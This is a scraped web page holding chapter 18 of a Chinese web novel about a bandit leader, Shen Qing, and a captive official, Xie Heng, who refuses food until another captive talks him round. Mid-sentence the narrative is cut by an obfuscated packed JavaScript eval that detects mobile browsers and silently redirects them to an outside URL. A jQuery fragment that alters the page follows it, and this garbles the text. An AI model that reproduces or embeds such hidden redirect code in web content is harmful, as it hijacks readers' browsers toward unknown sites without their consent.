默认冷灰
24号文字
方正启体

18. 第 18 章

作者:钱娇娇本书字数:K更新时间:
    跟谢珩这么大吵了一架后,沈青被气得一阵阵肝疼。


    好在这次劫了庾闻,确实到手了一大笔金银财物,除了犒劳兄弟们同时,她还特别花重金请了个专门给达官显贵做菜的厨子上山,山珍海味不带重复地给她做了三天大宴。


    喝着小酒,品着珍馐,这时候就能体现出有银子的妙处了,有银子就是可以在心情不好的时候吃着熊掌鲍鱼来撒气,要是没银子心情不好……只能抱着自己嗷嗷哭了。


    兄弟们也陪了几天,实在是有点无福消受,虽然跟着老大天天吃的都是以前想都不敢想的好东西,但他们真吃不饱啊,就说这个什么金丝燕窝吧,吞好几碗下肚,又尝不出味,还不填肚子,真不如给他们来一碗猪肉粉条实在。


    赖三用大海碗喝了一碗什么什么紫玉酒,听说要百两银子一斛呢,此时他无比怀念寨上自己酿的高粱酒,终于鼓起勇气向沈青提议:“老大,你这天天借酒浇愁的,要我看,咱们还是把那谢十三直接宰了,一了百了。”


    有了几分醉意的沈青呢喃应和:“谁说我借酒消愁了?老子现在高兴得很!去,去把他宰了,眼不见为净,一了百了!”


    兄弟们也纷纷附和,在座的只有萧瑞扶额头疼:“大哥,这几日谢十三都没来给我讲学,我功课又要落下了,本来我就启蒙晚,现在耽误的每一天都是很宝贵的。而且听说这个谢十三,这几天都没吃东西来着……”


    “他这几天都没吃东西?”


    见他如此准确地抓住重点,萧瑞立刻绘声绘色描述起来:“是啊,自从那天他回屋后就一直把自己关在屋子里不见人,也不吃不喝,他那平时过惯锦衣玉食日子的人,恐怕抗不了几天。”


    沈青听得情不自禁地点了点头:“他这种锦衣玉食富贵堆里长大的人,哪懂我们这些土匪刀尖舔血讨生活的苦日子。谁也不许给他送吃的,先把他饿晕了再说!”


    萧瑞:“……行吧。”


    饿晕总比被宰了好。


    *


    在谢珩不吃不喝的第七日,沈青终于按捺不住,青衣秀挺,出现在他所住的那间木屋前。


    这几日一直没有覆下新雪,木屋前阶下积雪如旧,一点儿人迹也没有。


    暮色下来,屋中更加昏寂,油灯静静立在桌边,无人去添一盏灯火。


    窗前还剩一点微光,透映出一副单薄清雅的剪影。


    谢珩人在窗前,半低着头,手中握了一只小木勺,只专注于一点一点将膝上几只嗷嗷待哺的小雏鸟喂饱。


    仅这几日的时光,小雏鸟们先后都睁了眼,小小圆鼓鼓的黑眼,滴溜溜的很是有神。


    他总是会想到,沈青喝醉了没什么意识的时候,在雪堆里捡到它们,便嚷着要给它们做阿娘;醒来后明明嫌弃它们难看,可是在碰它们的时候又那么小心翼翼。


    这些反应都是骗不了人的。


    为什么一个对弱小生命都有怜悯之心的一个人,面对活生生的人时,又有那么近乎残忍的冷酷?


    谢珩彻底迷茫了。


    一个悍匪,可能本性中会有良善的一面,可终究也还是个悍匪。


    黄昏最后一点微光早早退去,只剩雪色照应,立在眼前的木屋更加黑咕隆咚。


    沈青终于一脚踩上被松软白雪覆满的木阶,身子抵在门口,声音还算轻缓:“谢十三?”


    里面无人回应。


    她尴尬地轻咳了两声:“那天我说话是冲了些,可你不是也凶了我吗?我们……”


    “滚!”


    沈青面色一沉,一脚踹开木门。


    屋子里黑黢黢的,她环顾四周,在窗边看到个隐约身影,踟蹰了一下,还是先点燃桌上烛火。


    借着憧憧烛光看清窗边玉容时,她不由得心中一惊,才几日不见的光景,谢十三原本就清瘦的一身,几乎有些单薄得不胜衣重的姿态了。


    一张玉容,明明是病态得没有颜色,却显得更有几分不食人间烟火的轻透绝俗。


    知道他这几日水米未进,沈青也算有备而来,将一碗白米佐了小菜熬成的清粥端到他嘴边。


    “把这喝了。”


    谢珩连看了没看一眼,缓缓将脸瞥到一边。


    沈青也不废话,抬手一把捏着他下巴,将粥碗抵到他嘴边就开始灌,不料这人虽然七日没吃东西,执拗起来力气可真大,他抵死挣扎间,她一只手竟然没有摁得住他,手上那只盛满热粥的碗被打翻,砰然一下摔得七零八碎,溅得满地都是,一片狼藉。


    “谢十三!”


    沈青终于忍不了,揪了他的衣襟一手在空中抡起拳头:“老子给你脸了是吗?”


    她向来不惧别人对她如何敌视和谩骂,但绝对不能接受有人竟视她为空气。


    她逼视他的双眼,这下终于看清那样一双好看的眼睛,不见往日清润,无喜无怒,濛濛一片的灰败。


    被她扯得凌乱的衣襟下,赫然露出一道疤痕,是那日被孟渊用刀抵的,已然结痂,无比狰狞地印在雪色肌肤上。


    沈青心中顿生恻然,一只拳头顿在半空,怎么也落不下去。


    这要是换成别人,早就不知死了多少回,现在面对谢十三,她发觉自己居然下不去手。


    他冷漠无视的样子真恨不得一把将他撕个粉碎,可他支离憔悴的样子又让人只想一点一点细细将他拼凑起来。


    沈青心头上好像有无数只小虫子在爬上爬下四处啃食,她从未有过这样迷茫又无力的情绪。


    真想一拳打点什么!


    “阿青!”


    身后忽然有人喊住她,然后她那只高高举起的拳头就被岳瑛拽了下来:“好好的让你来送些热粥,这么凶做什么?”


    岳瑛本来是劝着沈青过来缓和一下的,不然谢十三可真的绝食而亡了,没想到她刚到门口,就看到这么剑拔弩张的一幕。


    “你先冷静一下吧。”


    沈青再多一瞬都待不下去,甩开谢珩,拔腿就走:“他要活就活,想死就死!”


    一句话说完,人影早就循着话音消失在门外。


    屋中再次清净下来,岳瑛叹了口气,往案几上摆了一碟刚出炉还冒着热气的马蹄糕,晶莹澄亮,清香扑鼻,是经典的洛京风味,但也绝不是洛京普通百姓能吃上的餐中食物。


    她就守着这马蹄糕蒸好的这会儿功夫,两人险些打了起来。


    “公子何必自苦于此呢?”


    谢珩还是就着刚才被沈青甩开的姿势靠在窗沿边,不闻也不答。


    岳瑛也不恼,又替他倒了一杯热茶:“公子现下对沈青有怨气,又何尝不是因为对她有偏见呢?”


    有偏见?


    谢珩清淡麻木的眉眼间,终于隐隐有了一丝不耐的戾气。


    他望了一眼摆在手边的马蹄糕,哑声询问:“冒昧问一句夫人,卿本佳人,奈何从贼?”


    他听闻,这位夫人被掳上山时也是万般反抗不肯屈就,现在却要反过来替作恶的人当说客?


    面对谢珩探过来的审视目光,岳瑛垂了眼眸:“虽然我和你都是被迫上了这小金顶,但归根结底,我和你确实完全不一样。”


    “三岔湾的事情我听说了,你的所见所闻,正是我的切身经历。”


    谢珩震惊抬眸望她,终究没有打断她的话,继续静默地等待她的下文。


    “当年我父亲被流放,带着家小途径三岔湾,所有财物被洗劫一空,我的父母兄弟,也被当场灭口。若不是阿青出手,我恐怕也同当日那些女子一样被贼人掳去那般下场。”


    岳瑛极力压抑住声音中的颤抖,如诉生前事。


    “那天我最终活了下来,我这条命也是莽山十几位弟兄的命换来的。后来我才知道,渝州各匪寨之间自有规矩,坏了规矩,是要用流血作为代价的。阿青遇到我,正好是她执掌莽山后第一次参与三岔湾的行动,那次救下我流血的代价太大了,大到她再也没有贸然去破坏规矩。”


    “以你当日所见之情景,若是要救下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943528|158863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些无辜女子,阿青必定要与其他山头再次交恶,阿青不愿重蹈覆辙没有出手,你会生气,就是因为你的偏见,在你心中,无辜妇孺的性命要比小金顶上土匪的性命高贵得多。”


    岳瑛一语点破,谢珩脑子里轰然想起那天沈青最后对他说的话,舍生取义,是君子所为,不是土匪所为。


    他还是不解:“即便沈青最后救了你,可最开始不是因为他联合其他匪寨的人围劫了你和你的家人吗?”


    岳瑛笃定反驳:“她没有参与围劫我的家人。”


    她无奈叹息:“平日看你是个心细如发的人,今日才知你满心偏见全然不自知。公子在小金顶上也待了这么久,无论莽山还是三岔湾,往来过路总有行人,可这么多天来,公子难道没留心过,阿青也只有在那天出手围劫?”


    谢珩沉吟思索,想到的还是沈青的原话,没有钱财和长相不好的,她也不会去动。


    可能这么多天,只有庾闻能入了他的眼吧。


    “公子对阿青可以继续选择眼盲心盲,或许也可以试着去看一看莽山兄弟何其清苦又何其忠心,莽山女匪是从何而来,还有莽山每次出手打劫的都是何方人物……”


    岳瑛直到要一时扭转一个人的偏见是很难的,没有再多说下去,只最后再提点了一句:“公子一心寻死,最大的意义不过是阿青或许会生气难过几日,然后很快也会忘了这回事。活下去,才是有意义的。”


    等她掩门离开,谢珩又被重留于一个人的世界。


    空荡荡的房间重新归于沉寂,几只小雏鸟似乎吃饱也不再发出细细弱弱的鸣叫,桌上那簇烛火明明暗暗跳动着,忽然灯芯一闪,一颗小火花飞溅出来,落在桌面上又熄灭了。


    一直守在窗边那道纹丝不动的身影终于坐直了身子,端起手边半冷了的茶,缓缓喝下去。


    久违的甘甜打开了味蕾。


    他并不是要做绝食明志的壮举,也没有求死之心,只是实在食难下咽,不如不吃。


    岳瑛的一番话忽然让他清醒了不少,与其说他是在跟沈青抗议,莫不如说是他在惩罚自己。


    身为渝州官员,在渝州地界上,他不能护佑同僚和无辜女子的性命,此是一罪。


    其二是,自始至终,他袖里玄关中的银丝,从未出袖。


    所以他对沈青真是满心偏见?


    他自诩君子,那样关头,权衡之下,尚且做不到舍生取义,却在怨怼一个山匪没有舍命救人?


    这么一看,还真是很难分出个高低贵贱出来。


    他在心底冷笑一声,觉得这幽幽烛火实在扰人心绪,抬手捻灭了灯芯,房中顿时一片漆暗。


    这几日他也没怎么好眠过,实在困了,也只是合目浅寐一番,实在是白雪上幼童的鲜血、空旷山谷里女子绝望的悲号,时时入梦。


    这是让人一生都不得好眠的噩梦。


    砰——


    木门一下被人从外面轰然踢开,谢珩猛然睁眼,窗外竟然已经有了晨曦的微光。


    随着门外吹进来的一股冷风,他也看清那道昨日愤然离去的青影。


    “谢十三,我还就不信我治不了你!”


    刚坐起身,他的手腕就被沈青紧紧攥住,直把他往下拖。


    “你做什么?”


    他下意识用力一推,没想到竟轻而易举将人推开了。


    沈青痛得倒吸一口冷气,直揉自己手腕:“走,你现在跟我下山!”


    谢珩目光落在她手上还缠着的绷带上终于微缓了语气:“下山去做什么?”


    “去打劫啊,总不能天天吃喝玩乐然后乐不思蜀吧?”


    “……不去。”谢珩刚缓了些的语气瞬间冷硬。


    沈青气得又上前一把拽他:“进了我这土匪窝,去不去,由不得你!”


    谢珩还要挣扎,只是视线总是不由自主望到她腕间的绷带上,这么多天过去,竟然还肿得缠了好几圈绷带。


    “你放开我,我自己会走!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)